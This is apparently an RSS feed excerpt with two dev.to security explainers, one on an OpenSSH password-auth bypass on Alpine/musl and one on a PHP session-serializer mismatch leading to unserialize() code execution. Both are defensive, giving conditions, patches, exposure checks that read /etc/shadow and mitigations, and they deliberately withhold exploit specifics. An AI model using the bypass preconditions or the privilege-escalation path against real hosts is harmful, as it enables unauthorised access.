&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fycg1o7uny3e2366nui72.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fycg1o7uny3e2366nui72.png" alt=" " width="800" height="706"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conditions required
&lt;/h2&gt;

&lt;p&gt;All of the following must hold:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;sshd is built against musl libc and without PAM (Alpine Linux's default &lt;code&gt;openssh-server&lt;/code&gt; package)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;PasswordAuthentication yes&lt;/code&gt; (OpenSSH's default)&lt;/li&gt;
&lt;li&gt;The target account's shadow field is exactly &lt;code&gt;*&lt;/code&gt; (accounts locked with &lt;code&gt;!&lt;/code&gt; are safe)&lt;/li&gt;
&lt;li&gt;The earliest &lt;code&gt;$&lt;/code&gt;-hashed account in &lt;code&gt;/etc/passwd&lt;/code&gt; order uses a vulnerable hash type&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;$5$&lt;/code&gt;/&lt;code&gt;$6$&lt;/code&gt; (SHA-256/512): needs a 257–1024 byte password&lt;/li&gt;
&lt;li&gt;bcrypt (&lt;code&gt;$2a$&lt;/code&gt;/&lt;code&gt;$2b$&lt;/code&gt;/&lt;code&gt;$2y$&lt;/code&gt;): &lt;code&gt;pick_salt()&lt;/code&gt; miscalculates the &lt;code&gt;$&lt;/code&gt; delimiter position for bcrypt salts, so &lt;em&gt;any&lt;/em&gt; 1–1024 byte password works regardless of length (fixed separately upstream in commit &lt;code&gt;84f8f466&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;$1$&lt;/code&gt; (MD5) or &lt;code&gt;$y$&lt;/code&gt; (yescrypt) comes first, neither path applies&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Root itself uses &lt;code&gt;*&lt;/code&gt; on Alpine too, but the default &lt;code&gt;PermitRootLogin prohibit-password&lt;/code&gt; blocks direct root logins this way. However, Alpine's official cloud images (3.18.11–3.24.3) ship an &lt;code&gt;alpine&lt;/code&gt; user with passwordless &lt;code&gt;doas&lt;/code&gt; — so bypassing login for that single account is effectively root.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/MGxUvxJOStE" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix: OpenSSH 10.6p2
&lt;/h2&gt;

&lt;p&gt;The patch to &lt;code&gt;auth-passwd.c&lt;/code&gt; is just a few lines:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;define&lt;/span&gt; &lt;span class="n"&gt;MIN_PASSWORD_HASH_LEN&lt;/span&gt;    &lt;span class="mi"&gt;4&lt;/span&gt;
 &lt;span class="cp"&gt;#define MAX_PASSWORD_LEN 1024
&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;encrypted_password&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;    &lt;span class="n"&gt;ret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;encrypted_password&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;        &lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pw_password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;MIN_PASSWORD_HASH_LEN&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
         &lt;span class="n"&gt;strcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encrypted_password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pw_password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;    &lt;span class="n"&gt;freezero&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pw_password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pw_password&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The key addition is &lt;code&gt;strlen(pw_password) &amp;gt;= MIN_PASSWORD_HASH_LEN&lt;/code&gt;. The shortest valid hash (legacy DES) is 13 characters, so &lt;strong&gt;anything stored under 4 characters is excluded from the comparison entirely&lt;/strong&gt; — whether it's &lt;code&gt;*&lt;/code&gt;, &lt;code&gt;!&lt;/code&gt;, or any error string musl might return. This single check closes every path described in this post, bcrypt salt-parsing bug included.&lt;/p&gt;

&lt;p&gt;The patch also changes &lt;code&gt;shadow_pw()&lt;/code&gt; to return an &lt;code&gt;xstrdup()&lt;/code&gt;'d copy instead of a pointer into a shared buffer, and wipes it with &lt;code&gt;freezero()&lt;/code&gt; after use — removing the root cause of the "needs two attempts" buffer-reuse behavior described above.&lt;/p&gt;

&lt;h2&gt;
  
  
  Checking for exposure
&lt;/h2&gt;

&lt;p&gt;Run these as root to check quickly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# musl-based?&lt;/span&gt;
ldd &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;command&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; sshd&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; musl

&lt;span class="c"&gt;# PAM in use?&lt;/span&gt;
sshd &lt;span class="nt"&gt;-T&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s1"&gt;'^usepam'&lt;/span&gt;

&lt;span class="c"&gt;# password login allowed?&lt;/span&gt;
sshd &lt;span class="nt"&gt;-T&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s1"&gt;'^passwordauthentication'&lt;/span&gt;

&lt;span class="c"&gt;# accounts with "*" in the shadow field&lt;/span&gt;
&lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;: &lt;span class="s1"&gt;'$2=="*"{print $1}'&lt;/span&gt; /etc/shadow

&lt;span class="c"&gt;# accounts with a $5$/$6$ hash&lt;/span&gt;
&lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;: &lt;span class="s1"&gt;'$2 ~ /^\$[56]\$/{print $1}'&lt;/span&gt; /etc/shadow
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you see a musl match, &lt;code&gt;usepam no&lt;/code&gt;, &lt;code&gt;passwordauthentication yes&lt;/code&gt;, at least one &lt;code&gt;*&lt;/code&gt; account, and at least one &lt;code&gt;$5$&lt;/code&gt;/&lt;code&gt;$6$&lt;/code&gt; account, the host is vulnerable on any pre-patch version.&lt;/p&gt;

&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Update and restart sshd&lt;/strong&gt; — updating the package alone doesn't help if the running process isn't restarted.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   apk upgrade &lt;span class="nt"&gt;-U&lt;/span&gt;
   rc-service sshd restart
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Can't update right now? Turn off password auth&lt;/strong&gt; (make sure key-based login works first):
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"PasswordAuthentication no"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /etc/ssh/sshd_config.d/00-no-passwords.conf
   sshd &lt;span class="nt"&gt;-t&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; rc-service sshd restart
   sshd &lt;span class="nt"&gt;-T&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; passwordauthentication
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Alpine 3.16–3.18 don't read &lt;code&gt;sshd_config.d&lt;/code&gt; by default, so add &lt;code&gt;PasswordAuthentication no&lt;/code&gt; directly to &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt; on those versions.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Check for signs of abuse&lt;/strong&gt; — look for &lt;code&gt;Accepted password for&lt;/code&gt; log lines naming an account that should never accept a password login:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-h&lt;/span&gt; &lt;span class="s1"&gt;'Accepted password for'&lt;/span&gt; /var/log/messages /var/log/auth.log 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>archlinux</category>
      <category>cve</category>
    </item>
    <item>
      <title>CVE-2026-115560 Explained: How a PHP Session Serializer Mismatch Turns Into RCE</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Fri, 06 Nov 2026 12:00:08 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-115560-explained-how-a-php-session-serializer-mismatch-turns-into-rce-10j</link>
      <guid>https://dev.to/guidance_white/cve-2026-115560-explained-how-a-php-session-serializer-mismatch-turns-into-rce-10j</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fours41v76zbuweeuvkxg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fours41v76zbuweeuvkxg.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;RCE via session serializer mismatch → &lt;code&gt;unserialize()&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Needs&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Specific config + specific app code + a default-on feature&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Not yet. Fix planned for the next regular PHP release&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;session.upload_progress.enabled = 0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Exploited in the wild?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Not reported as of the advisory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Some sources list vendor CVSS v4 9.2 (Critical), but PHP had not published an official score or affected-version list yet&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Background in 3 minutes
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Session serialize handlers
&lt;/h3&gt;

&lt;p&gt;PHP has to turn &lt;code&gt;$_SESSION&lt;/code&gt; into a string to store it. The converter is the &lt;strong&gt;serialize handler&lt;/strong&gt;, chosen with &lt;code&gt;session.serialize_handler&lt;/code&gt;: &lt;code&gt;php&lt;/code&gt; (default), &lt;code&gt;php_binary&lt;/code&gt;, or &lt;code&gt;php_serialize&lt;/code&gt;. The rule that matters here: &lt;strong&gt;the handler used to write must match the handler used to read.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Session upload progress
&lt;/h3&gt;

&lt;p&gt;If an upload form includes a field named &lt;code&gt;PHP_SESSION_UPLOAD_PROGRESS&lt;/code&gt;, PHP writes upload progress (file name, bytes received, etc.) into &lt;code&gt;$_SESSION&lt;/code&gt; &lt;strong&gt;while the request body is still being parsed&lt;/strong&gt;. It's &lt;strong&gt;enabled by default&lt;/strong&gt;, and the stored data includes &lt;strong&gt;values chosen by the client&lt;/strong&gt; (the field value and the file name).&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Why &lt;code&gt;unserialize()&lt;/code&gt; is dangerous
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;unserialize()&lt;/code&gt; instantiates objects named in the string and may trigger magic methods like &lt;code&gt;__wakeup&lt;/code&gt; / &lt;code&gt;__destruct&lt;/code&gt;. If an attacker controls the string and your app or its dependencies contain a usable "gadget" class, that can end in code execution.&lt;/p&gt;

&lt;h2&gt;
  
  
  The three conditions
&lt;/h2&gt;

&lt;p&gt;PHP says &lt;strong&gt;all three&lt;/strong&gt; must be true:&lt;/p&gt;

&lt;p&gt;![Three conditions that must all be true: serialize_handler set to php_serialize or php_binary, application calls ini_set to php before session_start, and session.upload_progress.enabled is on]&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyu7byzi960vdpiyeyjyr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyu7byzi960vdpiyeyjyr.png" alt=" " width="800" height="315"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Config:&lt;/strong&gt; &lt;code&gt;session.serialize_handler&lt;/code&gt; is &lt;code&gt;php_binary&lt;/code&gt; or &lt;code&gt;php_serialize&lt;/code&gt; (the default is &lt;code&gt;php&lt;/code&gt;, so a stock install fails this check).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Application code:&lt;/strong&gt; the app switches it back to &lt;code&gt;php&lt;/code&gt; at runtime with &lt;code&gt;ini_set()&lt;/code&gt; before calling &lt;code&gt;session_start()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Feature:&lt;/strong&gt; session upload progress is enabled (the default).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That combination is rare, which is why PHP is handling it in the regular release cycle rather than as an emergency.&lt;/p&gt;

&lt;h2&gt;
  
  
  Source-level walkthrough (simplified)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Same data, different formats
&lt;/h3&gt;

&lt;p&gt;Say we store &lt;code&gt;username = alice&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// "php" handler: name|serialized_value
username|s:5:"alice";

// "php_serialize" handler: the whole $_SESSION as one serialized array
a:1:{s:8:"username";s:5:"alice";}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The crucial detail: the &lt;code&gt;php&lt;/code&gt; handler uses the &lt;strong&gt;pipe character &lt;code&gt;|&lt;/code&gt; as the delimiter&lt;/strong&gt; between the variable name and its serialized value. When reading, it finds the first &lt;code&gt;|&lt;/code&gt;, treats everything before it as the name, and passes everything after it to &lt;code&gt;unserialize()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;![A string stored in php_serialize format containing a pipe character inside an attacker-controlled value, then read back by the php handler, which splits at the pipe and unserializes the remainder]&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmowtgg6v3ytvp3wegktr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmowtgg6v3ytvp3wegktr.png" alt=" " width="800" height="341"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Demo&lt;/code&gt; above is a made-up class for illustration. What actually happens next depends on which gadget classes exist in the target application.&lt;/p&gt;

&lt;h3&gt;
  
  
  The writer: progress is recorded &lt;em&gt;before your script runs&lt;/em&gt;
&lt;/h3&gt;

&lt;p&gt;Upload progress is handled while PHP parses the multipart body, i.e. &lt;strong&gt;before any user script executes&lt;/strong&gt;. Conceptually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cm"&gt;/* Simplified pseudocode, NOT real php-src */&lt;/span&gt;
&lt;span class="cm"&gt;/* Runs during request parsing, before user code */&lt;/span&gt;

&lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;field&lt;/span&gt; &lt;span class="s"&gt;"PHP_SESSION_UPLOAD_PROGRESS"&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"upload_progress_"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="cm"&gt;/* input 1 */&lt;/span&gt;
    &lt;span class="n"&gt;open&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;decode&lt;/span&gt; &lt;span class="n"&gt;existing&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;

&lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;progress&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uploaded&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;           &lt;span class="cm"&gt;/* input 2 */&lt;/span&gt;

&lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;progress&lt;/span&gt; &lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;progress&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;
    &lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serializer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;  &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;write&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt; &lt;span class="n"&gt;storage&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two takeaways:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The serializer used here is the one from &lt;strong&gt;php.ini&lt;/strong&gt; (e.g. &lt;code&gt;php_serialize&lt;/code&gt;), because the app's &lt;code&gt;ini_set()&lt;/code&gt; hasn't run yet.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Inputs 1 and 2 are attacker-controlled&lt;/strong&gt; and can contain &lt;code&gt;|&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So tainted data lands in the session store, encoded in &lt;code&gt;php_serialize&lt;/code&gt; format.&lt;/p&gt;

&lt;h3&gt;
  
  
  The reader: your app flips the handler
&lt;/h3&gt;

&lt;p&gt;The condition-2 pattern looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="c1"&gt;// php.ini: session.serialize_handler = php_serialize&lt;/span&gt;

&lt;span class="c1"&gt;// e.g. for legacy compatibility, switch back right before starting the session&lt;/span&gt;
&lt;span class="nb"&gt;ini_set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'session.serialize_handler'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'php'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// &amp;lt;-- the risky bit&lt;/span&gt;
&lt;span class="nb"&gt;session_start&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;                                 &lt;span class="c1"&gt;// decodes stored data as "php" format&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the stored string (written as &lt;code&gt;php_serialize&lt;/code&gt;) is decoded as &lt;code&gt;php&lt;/code&gt;. That's exactly the mismatch in the figure above:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cm"&gt;/* Simplified pseudocode: the "php" handler's decode loop */&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt; &lt;span class="n"&gt;remains&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;pos&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;first&lt;/span&gt; &lt;span class="sc"&gt;'|'&lt;/span&gt;
    &lt;span class="n"&gt;name&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="p"&gt;..&lt;/span&gt; &lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;unserialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;..])&lt;/span&gt;    &lt;span class="cm"&gt;/* &amp;lt;-- objects get created here */&lt;/span&gt;
    &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Why "stale global state" and "different requests" matter
&lt;/h3&gt;

&lt;p&gt;Vendor write-ups (for example SIOS Security Blog) describe this as a &lt;strong&gt;stale global state&lt;/strong&gt; issue where the "producer" and "consumer" steps happen in &lt;strong&gt;different HTTP requests handled by the same worker&lt;/strong&gt;. In long-lived workers such as PHP-FPM, engine globals like the current serializer pointer (&lt;code&gt;PS(serializer)&lt;/code&gt;) can carry over between requests if they aren't reset. A community backport patch resets that pointer between requests, which fits this picture. Exactly &lt;em&gt;which&lt;/em&gt; global leaks and how is something only the official advisory can confirm.&lt;/p&gt;

&lt;h2&gt;
  
  
  Full attack flow
&lt;/h2&gt;

&lt;p&gt;![Sequence diagram: Request A uploads a multipart POST that gets stored with php_serialize; Request B switches to php handler and calls session_start, which misreads the pipe as a delimiter, unserializes attacker data, and may reach RCE if a gadget exists]&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fts5dy8znzssvpv9e1sfn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fts5dy8znzssvpv9e1sfn.png" alt=" " width="799" height="496"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Request A plants the tainted string. Request B is an ordinary page, which is why it's hard to spot from logs alone. (I've left out session-ID handling and other exploitation specifics on purpose.)&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/L1W6c_bl_i0" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h3&gt;
  
  
  Why unserialize ≠ automatic RCE
&lt;/h3&gt;

